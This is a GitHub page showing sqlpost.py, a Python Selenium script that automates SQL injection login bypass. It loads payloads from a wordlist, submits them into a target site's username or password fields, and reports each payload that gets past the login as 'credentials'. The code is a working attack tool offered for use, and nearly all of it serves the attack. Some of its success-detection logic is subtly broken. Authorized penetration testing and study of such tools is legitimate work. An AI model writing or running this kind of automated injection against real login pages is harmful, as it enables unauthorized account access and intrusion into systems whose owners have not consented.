-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsqlpost.py
333 lines (319 loc) · 16.7 KB
/
sqlpost.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
#!/usr/bin/env python
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.service import Service
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import (
WebDriverException,
NoSuchElementException,
TimeoutException,
ElementClickInterceptedException,
ElementNotInteractableException,
StaleElementReferenceException,
SessionNotCreatedException,
InvalidArgumentException,
JavascriptException,
)
import subprocess
from pathlib import Path
import argparse
import time
import sys
import os
W='\033[0m'
R='\033[31m'
G='\033[0;32m'
O='\33[37m'
B='\033[34m'
P= '\033[35m'
Y="\033[1;33m"
class SQLInjector:
def __init__(self):
self.banner =B+'''
|________|___________________|_
| | SQLPOST_ | | UserName
|'''+O+''' POST '''+R+''' | | | | | | | | | | | |%%============='''+O+'''-'''+R+'''
|________|_'''+B+'''__________________|_| Password
| | '''+Y+P+'''@'''+Y+'''jacstory '''+B+''' | '''+W
print(self.banner+'\n')
self.setup_args()
CheckDiv = os.listdir("./Package/")
if "geckodriver" not in CheckDiv and not self.args.div:
print(B + '[!] ' + R + 'Driver not Found : - ' + O + '\n' + '=' * 20 + '\n\n' + W)
print(R + "[+] Error -------------|- " + W + B + "Firefox driver not Found" + W)
print(R + "[+] Solution -------------|- " + W + O + "Download Geckodriver (Firefox driver)" + W)
print(R + "[+] Link -------------|- " + W + Y + "https://firefox-source-docs.mozilla.org/testing/geckodriver/index.html" + W)
print(R + "[+] Solution -------------|- " + W + O + "Use --div then provide the path to the Firefox driver" + W)
exit()
else: pass
if self.args.man:
package_path = os.path.join(os.getcwd())
from Package.man import ManPage
ManPage()
exit()
if self.args.div:
Path(self.args.div).rename("./Package/geckodriver")
print(R + "[+] File -------------|- " + W + B + "File has been moved to ./Package/geckodriver" + W)
print(R + "[+] sqlpost -------------|- " + W + B + "Now ready to use sqlpost with all power options" + W)
subprocess.run(['chmod', '0777', './Package/geckodriver'])
exit()
self.setup_browser()
self.test_sql_injection()
def setup_browser(self):
options = Options()
if not self.args.live:
try:
options.add_argument('--headless')
options.add_argument('--disable-gpu')
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
service = Service('./Package/geckodriver')
self.driver = webdriver.Firefox(service=service, options=options)
self.driver.set_page_load_timeout(10)
except Exception as e:
print(R+"[+] Error -------------|- "+W+Y+ f"An error of type {type(e).__name__}"+W)
exit()
except KeyboardInterrupt:
exit()
elif self.args.live :
try :
service = Service('./Package/geckodriver')
self.driver = webdriver.Firefox(service=service, options=options)
self.driver.set_page_load_timeout(10)
self.driver.set_window_size(800, 600)
self.driver.set_window_position(self.driver.execute_script("return window.screen.availWidth;") - 800, 44)
except Exception as e:
print(R+"[+] Error -------------|- "+W+Y+ f"An error of type {type(e).__name__}"+W)
exit()
except KeyboardInterrupt:
exit()
try:
self.driver.get(self.args.url)
self.page_len = len(self.driver.page_source)
self.driver.set_page_load_timeout(10)
except Exception as e:
print(R+"[+] Error -------------|- "+W+Y+ f"An error of type {type(e).__name__}"+W)
exit()
except KeyboardInterrupt:
exit()
def test_sql_injection(self):
self.url_list = []
self.payload_list = []
if self.args.wordlist:
try :
list_command = open(self.args.wordlist,'r')
list_command = list_command.readlines()
except FileNotFoundError as e:
print(R+"[+] Error -------------|- "+Y+ f" {type(e).__name__}"+R+' ['+O+f"{self.args.wordlist}"+R+'] '+W)
self.driver.quit()
exit()
else:
list_command = open("./Package/sql",'r')
list_command = list_command.readlines()
self.Info_Print()
print(R+" "+"-"*150)
print("| "+f"{' username ':<23}","| "+f"{' password ':<24}"+"| ",f"{' Status ':<11}","|",f"{' login url ':<80}","|")
print(" "+"-"*150+W)
for command in list_command :
if self.args.userforce:
if "admin" in command:
command = str(command.replace('admin',self.args.userforce).replace('\n','').strip())
else:
command = str(command.strip())
else:
command = str(command.strip())
try:
self.driver.get(self.args.url)
if self.args.user_form and self.args.pass_form:
user_field = self.driver.find_element(By.NAME, self.args.user_form)
pass_field = self.driver.find_element(By.NAME, self.args.pass_form)
elif self.args.UCSS and self.args.PCSS :
user_field = self.driver.find_element(By.CSS_SELECTOR, self.args.UCSS)
pass_field = self.driver.find_element(By.CSS_SELECTOR, self.args.PCSS)
elif self.args.UXpath and self.args.PXpath:
user_field = self.driver.find_element(By.XPATH, self.args.UXpath)
pass_field = self.driver.find_element(By.XPATH, self.args.PXpath)
elif self.args.IDUSER and self.args.IDPASS:
user_field = self.driver.find_element(By.ID, self.args.IDUSER)
pass_field = self.driver.find_element(By.ID, self.args.IDPASS)
user_field.clear()
pass_field.clear()
if self.args.username:
if self.args.time:
time.sleep(int(self.args.time))
user_field.send_keys(self.args.username)
pass_field.send_keys(command)
elif self.args.password:
if self.args.time:
time.sleep(int(self.args.time))
user_field.send_keys(command)
pass_field.send_keys(self.args.password)
elif not self.args.username and not self.args.password:
if self.args.time:
time.sleep(int(self.args.time))
user_field.send_keys(command)
pass_field.send_keys('password')
pass_field.send_keys(Keys.RETURN)
time.sleep(1)
page_source = self.driver.page_source
if self.args.error and self.args.error in str(page_source) or ("Error"or "error") in page_source\
or self.args.url == self.driver.current_url or ('username' or password) in page_source:
print('\n\n')
print(B+'\n[*]'+R+' SQL Injaction Command : '+P, command +W)
print(B+'[*]'+R+' Login Page URL : '+B, self.args.url+W )
if self.args.error:
print(B+'[*]'+R+' Status : '+Y+self.args.error+W)
else:
print(B+'[*]'+R+' Status : '+Y+' NOT LOGIN'+W)
for _ in range(7):
sys.stdout.write('\x1b[1A')
sys.stdout.write('\x1b[2K')
else:
if self.args.username:
print(R+"| "+Y+f"{self.args.username:<23}",R+"|"+P+f"{ command[0:20] :<23}"+R+" | "+B+f"{' login ':<12}",R+"|",f'{str(self.driver.current_url):<80}',"|")
self.url_list.append(self.driver.current_url)
self.payload_list.append(command)
if not self.args.Continue:
self.Data_Analysis()
elif self.args.password:
print(R+"| "+Y+f"{command[0:20] :<23}",R+"| "+P+f"{ self.args.password :<23}"+R+" | "+B+f"{' login ':<12}",R+"|",f'{str(self.driver.current_url):<80}',"|")
self.url_list.append(self.driver.current_url)
self.payload_list.append(command)
if not self.args.Continue:
self.Data_Analysis()
elif not self.args.username and not self.args.password:
print(R+"| "+Y+f"{command[0:20] :<23}",R+"| "+P+f"{' password ':<23}"+R+" | "+B+f"{' login ':<12}",R+"|",f'{str(self.driver.current_url):<80}',"|")
self.url_list.append(self.driver.current_url)
self.payload_list.append(command)
if not self.args.Continue:
self.Data_Analysis()
except Exception as e :
print(B+"[+] Error --------------|- "+O+ str(e)+W)
exit()
except KeyboardInterrupt:
exit()
if self.args.Continue:
self.Data_Analysis()
def Data_Analysis(self):
print('\n')
if len(self.payload_list) > 0 or len(self.url_list) > 0 :
print(B+'[*] '+'SQL Injaction Successful Login \n')
for url in set(self.url_list):
print(B+'[*] '+'Redirections : '+R, url+"\n")
print(O+'='*30+'\n\n'+B+'[!] '+R+'Credentials : - '+O+'\n'+'='* 20+'\n\n'+W)
if self.args.username:
print(B+'[+] '+R+'username : '+P+f'{self.args.username}')
print(B+'[+] '+R+'Password : '+O+f'{self.payload_list[0]}')
if self.args.Continue:
for C in self.payload_list[1:]:
print(B+' '+R+': '+O+f'{C}')
self.driver.quit()
exit()
elif self.args.password:
print(B+'[+] '+R+'username : '+O+f'{self.payload_list[0]}')
if self.args.Continue:
for C in self.payload_list[1:]:
print(B+' '+R+': '+O+f'{C}')
print(B+'[+] '+R+'Password : '+P+ f'{self.args.password}')
self.driver.quit()
exit()
elif not self.args.username and not self.args.password:
print(B+'[+] '+R+'username : '+O+f'{self.payload_list[0]}')
if self.args.Continue:
for C in self.payload_list[1:]:
print(B+' '+R+': '+O+f'{C}')
print(B+'[+] '+R+'Password : '+P+ 'password')
self.driver.quit()
exit()
elif len(self.payload_list) or len(self.url_list) == 0 :
print()
print(B + '[*] ' + 'SQL Injection Unsuccessful Login\n')
print(B + '[!] ' + R + 'Website May Not Be Vulnerable To SQL Injection' + W)
print(B + '[*] ' + R + 'Suggest Using Another List Command' + W)
self.driver.quit()
exit()
def Info_Print(self):
print(B+"[+] Target url --------------|- " + str(self.args.url))
time.sleep(0.20)
if self.args.wordlist:
print("[+] wordlist --------------|- " + str(self.args.wordlist))
time.sleep(0.20)
else:
print("[+] wordlist --------------|- " + "sql")
time.sleep(0.20)
if self.args.user_form :
print("[+] UserForm --------------|- " + self.args.user_form)
time.sleep(0.20)
if self.args.pass_form :
print("[+] PassForm --------------|- " + self.args.pass_form )
time.sleep(0.20)
if self.args.UCSS:
print("[+] CSS_SELECTOR USER --------------|- " + self.args.UCSS)
time.sleep(0.20)
if self.args.PCSS:
print("[+] CSS_SELECTOR PASS --------------|- " + self.args.PCSS )
time.sleep(0.20)
if self.args.UXpath:
print("[+] XPATH USER --------------|- " + self.args.UXpath)
time.sleep(0.20)
if self.args.PXpath:
print("[+] XPATH PASS --------------|- " + self.args.PXpath)
time.sleep(0.20)
if self.args.IDUSER:
print("[+] IDUSERFORM --------------|- " + self.args.IDUSER)
time.sleep(0.20)
if self.args.IDPASS:
print("[+] IDPASSFORM --------------|- " + self.args.IDPASS)
time.sleep(0.20)
if self.args.password:
print("[+] Password --------------|- " + self.args.password)
time.sleep(0.20)
if self.args.username:
print("[+] UserName --------------|- " + self.args.username)
time.sleep(0.20)
if self.args.userforce:
print("[+] User wordlist --------------|- " + self.args.userforce)
time.sleep(0.20)
if self.args.Continue :
print("[+] Continue --------------|- " + "TRUE")
time.sleep(0.20)
if self.args.error:
print("[+] Error Message --------------|- " + self.args.error )
time.sleep(0.20)
if self.args.time:
print("[+] Sleep duration --------------|- " + self.args.time )
time.sleep(0.20)
print("[+] Length Page --------------|- " + str(self.page_len) )
time.sleep(0.20)
print()
def setup_args(self):
parser = argparse.ArgumentParser(description="SQL Injection Tester with Selenium")
parser.add_argument('-U', '--url' , help="Target URL of the login page")
parser.add_argument('--man' , action='store_true', help="show this man page")
parser.add_argument('--div' , action='store', help="Specify the path to the Firefox WebDriver executable.")
parser.add_argument('-uf', '--user_form' , help="Name of the username input field")
parser.add_argument('-pf', '--pass_form' , help="Name of the password input field")
parser.add_argument('-w', '--wordlist' , help="File containing the list of SQL commands to test")
parser.add_argument('-e', '--error' , help="Error message to identify unsuccessful login attempts")
parser.add_argument('-uc', '--UCSS' , help="CSS selector for the username input field")
parser.add_argument('-pc', '--PCSS' , help="CSS selector for the password input field")
parser.add_argument('-ux', '--UXpath' , help="XPath for the username input field")
parser.add_argument('-px', '--PXpath' , help="XPath for the password input field")
parser.add_argument('-ui', '--IDUSER' , help="ID for the username input field")
parser.add_argument('-pi', '--IDPASS' , help="ID for the password input field")
parser.add_argument('-p', '--password' , help="Specific password to test")
parser.add_argument('-u', '--username' , help="Specific username to test")
parser.add_argument('-f', '--userforce' , help="Force a specific username into the wordlist")
parser.add_argument('-C', '--Continue' , action='store_true', help="Continue scanning through the entire wordlist")
parser.add_argument('-l', '--live' , action='store_true', help="Show the web browser window (disable headless mode)")
parser.add_argument('-T', '--time' , help="Sleep duration between requests")
self.args = parser.parse_args()
print(W+"")
if len(sys.argv)!=1 :
pass
else:
parser.print_help()
exit()
if __name__ == '__main__':
SQLInjector()